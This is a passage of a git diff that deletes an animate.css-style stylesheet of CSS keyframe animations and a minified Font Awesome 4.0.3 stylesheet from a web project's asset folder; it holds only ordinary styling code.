rotateX(-10deg); - } - - 70% { - -webkit-transform: perspective(400px) rotateX(10deg); - -ms-transform: perspective(400px) rotateX(10deg); - transform: perspective(400px) rotateX(10deg); - } - - 100% { - -webkit-transform: perspective(400px) rotateX(0deg); - -ms-transform: perspective(400px) rotateX(0deg); - transform: perspective(400px) rotateX(0deg); - opacity: 1; - } -} - -.flipInX { - -webkit-backface-visibility: visible !important; - -ms-backface-visibility: visible !important; - backface-visibility: visible !important; - -webkit-animation-name: flipInX; - animation-name: flipInX; -} - -@-webkit-keyframes flipInY { - 0% { - -webkit-transform: perspective(400px) rotateY(90deg); - transform: perspective(400px) rotateY(90deg); - opacity: 0; - } - - 40% { - -webkit-transform: perspective(400px) rotateY(-10deg); - transform: perspective(400px) rotateY(-10deg); - } - - 70% { - -webkit-transform: perspective(400px) rotateY(10deg); - transform: perspective(400px) rotateY(10deg); - } - - 100% { - -webkit-transform: perspective(400px) rotateY(0deg); - transform: perspective(400px) rotateY(0deg); - opacity: 1; - } -} - -@keyframes flipInY { - 0% { - -webkit-transform: perspective(400px) rotateY(90deg); - -ms-transform: perspective(400px) rotateY(90deg); - transform: perspective(400px) rotateY(90deg); - opacity: 0; - } - - 40% { - -webkit-transform: perspective(400px) rotateY(-10deg); - -ms-transform: perspective(400px) rotateY(-10deg); - transform: perspective(400px) rotateY(-10deg); - } - - 70% { - -webkit-transform: perspective(400px) rotateY(10deg); - -ms-transform: perspective(400px) rotateY(10deg); - transform: perspective(400px) rotateY(10deg); - } - - 100% { - -webkit-transform: perspective(400px) rotateY(0deg); - -ms-transform: perspective(400px) rotateY(0deg); - transform: perspective(400px) rotateY(0deg); - opacity: 1; - } -} - -.flipInY { - -webkit-backface-visibility: visible !important; - -ms-backface-visibility: visible !important; - backface-visibility: visible !important; - -webkit-animation-name: flipInY; - animation-name: flipInY; -} - -@-webkit-keyframes flipOutX { - 0% { - -webkit-transform: perspective(400px) rotateX(0deg); - transform: perspective(400px) rotateX(0deg); - opacity: 1; - } - - 100% { - -webkit-transform: perspective(400px) rotateX(90deg); - transform: perspective(400px) rotateX(90deg); - opacity: 0; - } -} - -@keyframes flipOutX { - 0% { - -webkit-transform: perspective(400px) rotateX(0deg); - -ms-transform: perspective(400px) rotateX(0deg); - transform: perspective(400px) rotateX(0deg); - opacity: 1; - } - - 100% { - -webkit-transform: perspective(400px) rotateX(90deg); - -ms-transform: perspective(400px) rotateX(90deg); - transform: perspective(400px) rotateX(90deg); - opacity: 0; - } -} - -.flipOutX { - -webkit-animation-name: flipOutX; - animation-name: flipOutX; - -webkit-backface-visibility: visible !important; - -ms-backface-visibility: visible !important; - backface-visibility: visible !important; -} - -@-webkit-keyframes flipOutY { - 0% { - -webkit-transform: perspective(400px) rotateY(0deg); - transform: perspective(400px) rotateY(0deg); - opacity: 1; - } - - 100% { - -webkit-transform: perspective(400px) rotateY(90deg); - transform: perspective(400px) rotateY(90deg); - opacity: 0; - } -} - -@keyframes flipOutY { - 0% { - -webkit-transform: perspective(400px) rotateY(0deg); - -ms-transform: perspective(400px) rotateY(0deg); - transform: perspective(400px) rotateY(0deg); - opacity: 1; - } - - 100% { - -webkit-transform: perspective(400px) rotateY(90deg); - -ms-transform: perspective(400px) rotateY(90deg); - transform: perspective(400px) rotateY(90deg); - opacity: 0; - } -} - -.flipOutY { - -webkit-backface-visibility: visible !important; - -ms-backface-visibility: visible !important; - backface-visibility: visible !important; - -webkit-animation-name: flipOutY; - animation-name: flipOutY; -} - -@-webkit-keyframes lightSpeedIn { - 0% { - -webkit-transform: translateX(100%) skewX(-30deg); - transform: translateX(100%) skewX(-30deg); - opacity: 0; - } - - 60% { - -webkit-transform: translateX(-20%) skewX(30deg); - transform: translateX(-20%) skewX(30deg); - opacity: 1; - } - - 80% { - -webkit-transform: translateX(0%) skewX(-15deg); - transform: translateX(0%) skewX(-15deg); - opacity: 1; - } - - 100% { - -webkit-transform: translateX(0%) skewX(0deg); - transform: translateX(0%) skewX(0deg); - opacity: 1; - } -} - -@keyframes lightSpeedIn { - 0% { - -webkit-transform: translateX(100%) skewX(-30deg); - -ms-transform: translateX(100%) skewX(-30deg); - transform: translateX(100%) skewX(-30deg); - opacity: 0; - } - - 60% { - -webkit-transform: translateX(-20%) skewX(30deg); - -ms-transform: translateX(-20%) skewX(30deg); - transform: translateX(-20%) skewX(30deg); - opacity: 1; - } - - 80% { - -webkit-transform: translateX(0%) skewX(-15deg); - -ms-transform: translateX(0%) skewX(-15deg); - transform: translateX(0%) skewX(-15deg); - opacity: 1; - } - - 100% { - -webkit-transform: translateX(0%) skewX(0deg); - -ms-transform: translateX(0%) skewX(0deg); - transform: translateX(0%) skewX(0deg); - opacity: 1; - } -} - -.lightSpeedIn { - -webkit-animation-name: lightSpeedIn; - animation-name: lightSpeedIn; - -webkit-animation-timing-function: ease-out; - animation-timing-function: ease-out; -} - -@-webkit-keyframes lightSpeedOut { - 0% { - -webkit-transform: translateX(0%) skewX(0deg); - transform: translateX(0%) skewX(0deg); - opacity: 1; - } - - 100% { - -webkit-transform: translateX(100%) skewX(-30deg); - transform: translateX(100%) skewX(-30deg); - opacity: 0; - } -} - -@keyframes lightSpeedOut { - 0% { - -webkit-transform: translateX(0%) skewX(0deg); - -ms-transform: translateX(0%) skewX(0deg); - transform: translateX(0%) skewX(0deg); - opacity: 1; - } - - 100% { - -webkit-transform: translateX(100%) skewX(-30deg); - -ms-transform: translateX(100%) skewX(-30deg); - transform: translateX(100%) skewX(-30deg); - opacity: 0; - } -} - -.lightSpeedOut { - -webkit-animation-name: lightSpeedOut; - animation-name: lightSpeedOut; - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; -} - -@-webkit-keyframes rotateIn { - 0% { - -webkit-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(-200deg); - transform: rotate(-200deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -@keyframes rotateIn { - 0% { - -webkit-transform-origin: center center; - -ms-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(-200deg); - -ms-transform: rotate(-200deg); - transform: rotate(-200deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: center center; - -ms-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -.rotateIn { - -webkit-animation-name: rotateIn; - animation-name: rotateIn; -} - -@-webkit-keyframes rotateInDownLeft { - 0% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -@keyframes rotateInDownLeft { - 0% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(-90deg); - -ms-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -.rotateInDownLeft { - -webkit-animation-name: rotateInDownLeft; - animation-name: rotateInDownLeft; -} - -@-webkit-keyframes rotateInDownRight { - 0% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -@keyframes rotateInDownRight { - 0% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(90deg); - -ms-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -.rotateInDownRight { - -webkit-animation-name: rotateInDownRight; - animation-name: rotateInDownRight; -} - -@-webkit-keyframes rotateInUpLeft { - 0% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -@keyframes rotateInUpLeft { - 0% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(90deg); - -ms-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -.rotateInUpLeft { - -webkit-animation-name: rotateInUpLeft; - animation-name: rotateInUpLeft; -} - -@-webkit-keyframes rotateInUpRight { - 0% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -@keyframes rotateInUpRight { - 0% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(-90deg); - -ms-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } - - 100% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } -} - -.rotateInUpRight { - -webkit-animation-name: rotateInUpRight; - animation-name: rotateInUpRight; -} - -@-webkit-keyframes rotateOut { - 0% { - -webkit-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(200deg); - transform: rotate(200deg); - opacity: 0; - } -} - -@keyframes rotateOut { - 0% { - -webkit-transform-origin: center center; - -ms-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: center center; - -ms-transform-origin: center center; - transform-origin: center center; - -webkit-transform: rotate(200deg); - -ms-transform: rotate(200deg); - transform: rotate(200deg); - opacity: 0; - } -} - -.rotateOut { - -webkit-animation-name: rotateOut; - animation-name: rotateOut; -} - -@-webkit-keyframes rotateOutDownLeft { - 0% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } -} - -@keyframes rotateOutDownLeft { - 0% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(90deg); - -ms-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } -} - -.rotateOutDownLeft { - -webkit-animation-name: rotateOutDownLeft; - animation-name: rotateOutDownLeft; -} - -@-webkit-keyframes rotateOutDownRight { - 0% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } -} - -@keyframes rotateOutDownRight { - 0% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(-90deg); - -ms-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } -} - -.rotateOutDownRight { - -webkit-animation-name: rotateOutDownRight; - animation-name: rotateOutDownRight; -} - -@-webkit-keyframes rotateOutUpLeft { - 0% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } -} - -@keyframes rotateOutUpLeft { - 0% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: left bottom; - -ms-transform-origin: left bottom; - transform-origin: left bottom; - -webkit-transform: rotate(-90deg); - -ms-transform: rotate(-90deg); - transform: rotate(-90deg); - opacity: 0; - } -} - -.rotateOutUpLeft { - -webkit-animation-name: rotateOutUpLeft; - animation-name: rotateOutUpLeft; -} - -@-webkit-keyframes rotateOutUpRight { - 0% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } -} - -@keyframes rotateOutUpRight { - 0% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - opacity: 1; - } - - 100% { - -webkit-transform-origin: right bottom; - -ms-transform-origin: right bottom; - transform-origin: right bottom; - -webkit-transform: rotate(90deg); - -ms-transform: rotate(90deg); - transform: rotate(90deg); - opacity: 0; - } -} - -.rotateOutUpRight { - -webkit-animation-name: rotateOutUpRight; - animation-name: rotateOutUpRight; -} - -@-webkit-keyframes slideInDown { - 0% { - opacity: 0; - -webkit-transform: translateY(-2000px); - transform: translateY(-2000px); - } - - 100% { - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes slideInDown { - 0% { - opacity: 0; - -webkit-transform: translateY(-2000px); - -ms-transform: translateY(-2000px); - transform: translateY(-2000px); - } - - 100% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.slideInDown { - -webkit-animation-name: slideInDown; - animation-name: slideInDown; -} - -@-webkit-keyframes slideInLeft { - 0% { - opacity: 0; - -webkit-transform: translateX(-2000px); - transform: translateX(-2000px); - } - - 100% { - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes slideInLeft { - 0% { - opacity: 0; - -webkit-transform: translateX(-2000px); - -ms-transform: translateX(-2000px); - transform: translateX(-2000px); - } - - 100% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.slideInLeft { - -webkit-animation-name: slideInLeft; - animation-name: slideInLeft; -} - -@-webkit-keyframes slideInRight { - 0% { - opacity: 0; - -webkit-transform: translateX(2000px); - transform: translateX(2000px); - } - - 100% { - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes slideInRight { - 0% { - opacity: 0; - -webkit-transform: translateX(2000px); - -ms-transform: translateX(2000px); - transform: translateX(2000px); - } - - 100% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.slideInRight { - -webkit-animation-name: slideInRight; - animation-name: slideInRight; -} - -@-webkit-keyframes slideOutLeft { - 0% { - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-2000px); - transform: translateX(-2000px); - } -} - -@keyframes slideOutLeft { - 0% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-2000px); - -ms-transform: translateX(-2000px); - transform: translateX(-2000px); - } -} - -.slideOutLeft { - -webkit-animation-name: slideOutLeft; - animation-name: slideOutLeft; -} - -@-webkit-keyframes slideOutRight { - 0% { - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(2000px); - transform: translateX(2000px); - } -} - -@keyframes slideOutRight { - 0% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(2000px); - -ms-transform: translateX(2000px); - transform: translateX(2000px); - } -} - -.slideOutRight { - -webkit-animation-name: slideOutRight; - animation-name: slideOutRight; -} - -@-webkit-keyframes slideOutUp { - 0% { - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-2000px); - transform: translateY(-2000px); - } -} - -@keyframes slideOutUp { - 0% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-2000px); - -ms-transform: translateY(-2000px); - transform: translateY(-2000px); - } -} - -.slideOutUp { - -webkit-animation-name: slideOutUp; - animation-name: slideOutUp; -} - -@-webkit-keyframes hinge { - 0% { - -webkit-transform: rotate(0); - transform: rotate(0); - -webkit-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 20%, 60% { - -webkit-transform: rotate(80deg); - transform: rotate(80deg); - -webkit-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 40% { - -webkit-transform: rotate(60deg); - transform: rotate(60deg); - -webkit-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 80% { - -webkit-transform: rotate(60deg) translateY(0); - transform: rotate(60deg) translateY(0); - opacity: 1; - -webkit-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 100% { - -webkit-transform: translateY(700px); - transform: translateY(700px); - opacity: 0; - } -} - -@keyframes hinge { - 0% { - -webkit-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); - -webkit-transform-origin: top left; - -ms-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 20%, 60% { - -webkit-transform: rotate(80deg); - -ms-transform: rotate(80deg); - transform: rotate(80deg); - -webkit-transform-origin: top left; - -ms-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 40% { - -webkit-transform: rotate(60deg); - -ms-transform: rotate(60deg); - transform: rotate(60deg); - -webkit-transform-origin: top left; - -ms-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 80% { - -webkit-transform: rotate(60deg) translateY(0); - -ms-transform: rotate(60deg) translateY(0); - transform: rotate(60deg) translateY(0); - opacity: 1; - -webkit-transform-origin: top left; - -ms-transform-origin: top left; - transform-origin: top left; - -webkit-animation-timing-function: ease-in-out; - animation-timing-function: ease-in-out; - } - - 100% { - -webkit-transform: translateY(700px); - -ms-transform: translateY(700px); - transform: translateY(700px); - opacity: 0; - } -} - -.hinge { - -webkit-animation-name: hinge; - animation-name: hinge; -} - -/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ - -@-webkit-keyframes rollIn { - 0% { - opacity: 0; - -webkit-transform: translateX(-100%) rotate(-120deg); - transform: translateX(-100%) rotate(-120deg); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0px) rotate(0deg); - transform: translateX(0px) rotate(0deg); - } -} - -@keyframes rollIn { - 0% { - opacity: 0; - -webkit-transform: translateX(-100%) rotate(-120deg); - -ms-transform: translateX(-100%) rotate(-120deg); - transform: translateX(-100%) rotate(-120deg); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0px) rotate(0deg); - -ms-transform: translateX(0px) rotate(0deg); - transform: translateX(0px) rotate(0deg); - } -} - -.rollIn { - -webkit-animation-name: rollIn; - animation-name: rollIn; -} - -/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ - -@-webkit-keyframes rollOut { - 0% { - opacity: 1; - -webkit-transform: translateX(0px) rotate(0deg); - transform: translateX(0px) rotate(0deg); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(100%) rotate(120deg); - transform: translateX(100%) rotate(120deg); - } -} - -@keyframes rollOut { - 0% { - opacity: 1; - -webkit-transform: translateX(0px) rotate(0deg); - -ms-transform: translateX(0px) rotate(0deg); - transform: translateX(0px) rotate(0deg); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(100%) rotate(120deg); - -ms-transform: translateX(100%) rotate(120deg); - transform: translateX(100%) rotate(120deg); - } -} - -.rollOut { - -webkit-animation-name: rollOut; - animation-name: rollOut; -} \ No newline at end of file diff --git a/newDesign/assets/css/font-awesome.min.css b/newDesign/assets/css/font-awesome.min.css deleted file mode 100644 index 449d6ac55..000000000 --- a/newDesign/assets/css/font-awesome.min.css +++ /dev/null @@ -1,4 +0,0 @@ -/*! - * Font Awesome 4.0.3 by @davegandy - http://fontawesome.io - @fontawesome - * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) - */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.0.3');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.0.3') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff?v=4.0.3') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.0.3') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.0.3#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font-family:FontAwesome;font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.3333333333333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.2857142857142858em;text-align:center}.fa-ul{padding-left:0;margin-left:2.142857142857143em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.142857142857143em;width:2.142857142857143em;top:.14285714285714285em;text-align:center}.fa-li.fa-lg{left:-1.8571428571428572em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:spin 2s infinite linear;-moz-animation:spin 2s infinite linear;-o-animation:spin 2s infinite linear;animation:spin 2s infinite linear}@-moz-keyframes spin{0%{-moz-transform:rotate(0deg)}100%{-moz-transform:rotate(359deg)}}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg)}}@-o-keyframes spin{0%{-o-transform:rotate(0deg)}100%{-o-transform:rotate(359deg)}}@-ms-keyframes spin{0%{-ms-transform:rotate(0deg)}100%{-ms-transform:rotate(359deg)}}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(359deg)}}.fa-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);-o-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-moz-transform:rotate(270deg);-ms-transform:rotate(270deg);-o-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0,mirror=1);-webkit-transform:scale(-1,1);-moz-transform:scale(-1,1);-ms-transform:scale(-1,1);-o-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2,mirror=1);-webkit-transform:scale(1,-1);-moz-transform:scale(1,-1);-ms-transform:scale(1,-1);-o-transform:scale(1,-1);transform:scale(1,-1)}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f